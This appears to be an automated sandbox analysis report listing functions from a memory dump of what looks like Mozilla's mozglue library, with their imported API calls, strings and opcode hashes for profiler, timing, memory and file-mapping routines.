AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD52A
GetCurrentThreadId.KERNEL32 ref: 6C9BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD55F
free.MOZGLUE(00000000), ref: 6C9BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD652
GetCurrentThreadId.KERNEL32 ref: 6C9BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD6A2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction ID: c3521bf70c0c94e7546c3f9452d5556b8e5111a4fabb0f5b5d80f5f72a0a40b2
Opcode Fuzzy Hash: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction Fuzzy Hash: 5F517CB1608705EFC744CF24C884A9ABBB4FF99318F108A2EE95A97710DB30E945CB95

Function 6C985670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C985744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9857BC
GetTickCount64.KERNEL32 ref: 6C9858CB
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9858F3
__aulldiv.LIBCMT ref: 6C985945
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9EF638,?,?,?,?), ref: 6C9859E9

Strings

MOZ_APP_RESTART, xrefs: 6C9856CC

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction ID: 449a1b0476c262edf3ca089555b98177e46039515e7b13ac1a5f797acb962291
Opcode Fuzzy Hash: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction Fuzzy Hash: D8C17D31A0D7449FDB05CF28C44066ABBF1BFEA718F158A1EE4C597660D731E989CB82

Function 6C9AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEC8C

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AECA1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9AECC5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AED19
CloseHandle.KERNEL32(?), ref: 6C9AED28
free.MOZGLUE(00000000), ref: 6C9AED2F
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9AEC94

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction ID: 5e2f8ba139f362027db7b16d5f1632f917833f1c0c1bca37fb7e0fd52d427734
Opcode Fuzzy Hash: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction Fuzzy Hash: AB21FC75504204AFDB419FA4D808B9A3779FFB936CF204215FD1857741E731D8268BE5

Function 6C9A8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C96EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9AB392,?,?,00000001), ref: 6C9A91F4

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Strings

marker-chart, xrefs: 6C9A905E
data, xrefs: 6C9A90E8
timeline-ipc, xrefs: 6C9A9096
name, xrefs: 6C9A8F16
stack-chart, xrefs: 6C9A90B2
timeline-fileio, xrefs: 6C9A90A4
timeline-overview, xrefs: 6C9A907A
marker-table, xrefs: 6C9A906C
timeline-memory, xrefs: 6C9A9088

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction ID: 1330020ea90a97ffd45ac92c3004f77723f81017e84c7f2b361751c87759220c
Opcode Fuzzy Hash: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction Fuzzy Hash: E2B1D6B1A016099BDB04CFA5C8557EEBBB5FFA9308F214019D502ABF80D731E956CBE1

Function 6C98C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C5A3
WideCharToMultiByte.KERNEL32 ref: 6C98C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C98C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C98CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C98CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98CAA5

Strings

(null), xrefs: 6C98C596
0, xrefs: 6C98D30A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction ID: 4d3f8cc7a15a501c7e9e2f23ae72ba8ba381af41f81348bcc3c58c195457fac3
Opcode Fuzzy Hash: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction Fuzzy Hash: 5EA1AD3160A3429FDB00DF28C984B5ABBF5AF89748F148E2DE999D7741D735E805CB82

Function 6C98C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C98C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C98C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C98C891

Strings

inf, xrefs: 6C98C78F
INF, xrefs: 6C98C794
NAN, xrefs: 6C98C7AD
nan, xrefs: 6C98C7A8

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction ID: c7010a11a432cb8ecf2475fe7b871d1353d5c18ef2c8b2421e8c52977ba24628
Opcode Fuzzy Hash: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction Fuzzy Hash: CA5180719097808BDB00AF2CC48169AFBF4BF9A308F408E2DF9D5A7651E770D985CB42

Function 6C964480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9A4843,?), ref: 6C9645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9A4843,?), ref: 6C96468A
free.MOZGLUE(?,?,?,?,?,?,6C9A4843,?), ref: 6C9646C9
free.MOZGLUE(?), ref: 6C9646EF
free.MOZGLUE(?), ref: 6C964712
free.MOZGLUE(?), ref: 6C964735
free.MOZGLUE(?), ref: 6C964758
free.MOZGLUE(?), ref: 6C96477B
free.MOZGLUE(?), ref: 6C96479E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction ID: ef78ca1a2be99e36d69b1726d17566af4f7797fedd113f85631795d7642216ed
Opcode Fuzzy Hash: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction Fuzzy Hash: 77B1E071A001118FEB18DEAECCB076D76A6AF52328F184669E816DBFD6D730D8448F91

Function 6C9CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9CAC52
CreateFileMappingW.KERNEL32 ref: 6C9CAC7D
GetSystemInfo.KERNEL32 ref: 6C9CAC98
MapViewOfFile.KERNEL32 ref: 6C9CACB0
GetSystemInfo.KERNEL32 ref: 6C9CACCD
MapViewOfFile.KERNEL32 ref: 6C9CAD05
UnmapViewOfFile.KERNEL32 ref: 6C9CAD1C
CloseHandle.KERNEL32 ref: 6C9CAD28
UnmapViewOfFile.KERNEL32 ref: 6C9CAD37
CloseHandle.KERNEL32 ref: 6C9CAD43
CloseHandle.KERNEL32 ref: 6C9CAD67

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction ID: 4b684cd9fbbc8652758ac8e89f29857e4206b5016d9143b5e58397c321739914
Opcode Fuzzy Hash: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction Fuzzy Hash: 143160B1A08744CFDB40EF78D64826EBBF0BF99305F11492DE98597211EB709498CB83

Function 6C979620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670
NtMapViewOfSection, xrefs: 6C979701
MapViewOfFileNuma2, xrefs: 6C9797B1
ntdll.dll, xrefs: 6C9796E3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction ID: 7e8fdfc8ad5144517c21ce8df4b63a26a1bcd6f2cd03ec9c488c05dc062ef457
Opcode Fuzzy Hash: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction Fuzzy Hash: 5D41D371705205DBDF10CFA6E885A9677B4FFAEB28F21452AED1587B40D731E804CBA1

Function 6C961E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961EC1
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961EE1
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C961F38
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C961F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C961F83
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FC0
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961FE2
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C962019

Strings

MOZ_CRASH(), xrefs: 6C962000

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction ID: f2ba052cf7492c0464a59c082c8487f3e70b98e54af125d4dc2e61d60cbfbf54
Opcode Fuzzy Hash: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction Fuzzy Hash: 4941F471B0531A8FEF518F6AC884B6A36B5EF6E708F140029F90597B85DB72D8048BD5

Function 6C9B0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9B0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B0041
GetCurrentThreadId.KERNEL32 ref: 6C9B0075
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9B0090
free.MOZGLUE(?), ref: 6C9B0104
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9B005B

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction ID: 83b4b0540abaf1bb62a3b2058e3ef1be286db73bf313fde8a62dc9c725deecab
Opcode Fuzzy Hash: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction Fuzzy Hash: 08419AB1504344EFCB50CF64D844A9BBBF4FF69218F10491EE95A93B40E731E915CBA1

Function 6C977E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C977EA7
malloc.MOZGLUE(00000001), ref: 6C977EB3

Part of subcall function 6C97CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C97CB49
Part of subcall function 6C97CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C97CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C977EC4
mozalloc_abort.MOZGLUE(?), ref: 6C977F19
malloc.MOZGLUE(?), ref: 6C977F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C977F4D

Strings

d, xrefs: 6C977F89

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction ID: 69a7468ac97b922f51e652ed1b7a15066488a7417b186f7dc6e22aaa526188eb
Opcode Fuzzy Hash: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction Fuzzy Hash: 5431E962E04688D7DB019B68CC045FEB778EFA6208F155629DD4567712FB30E5C8C7A0

Function 6C973E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C973EEE
RtlFreeHeap.NTDLL ref: 6C973FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C974006
RtlFreeHeap.NTDLL ref: 6C9740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740C2
RtlFreeHeap.NTDLL ref: 6C974134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974157

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 154d79d16b68656d1e0cffe2cefc1c33a0585978868b3b81a8efc5d96e57a80d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18FB1A01215CFEB50CF68C880769B7B5FF58308F2541A9D909AF742D771E996CFA0

Function 6C962030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C983F47,?,?,?,6C983F47,6C981A70,?), ref: 6C96207F
memset.VCRUNTIME140(?,000000E5,6C983F47,?,6C983F47,6C981A70,?), ref: 6C9620DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C983F47,6C981A70,?), ref: 6C96211A
EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C983F47,6C981A70,?), ref: 6C9621BA
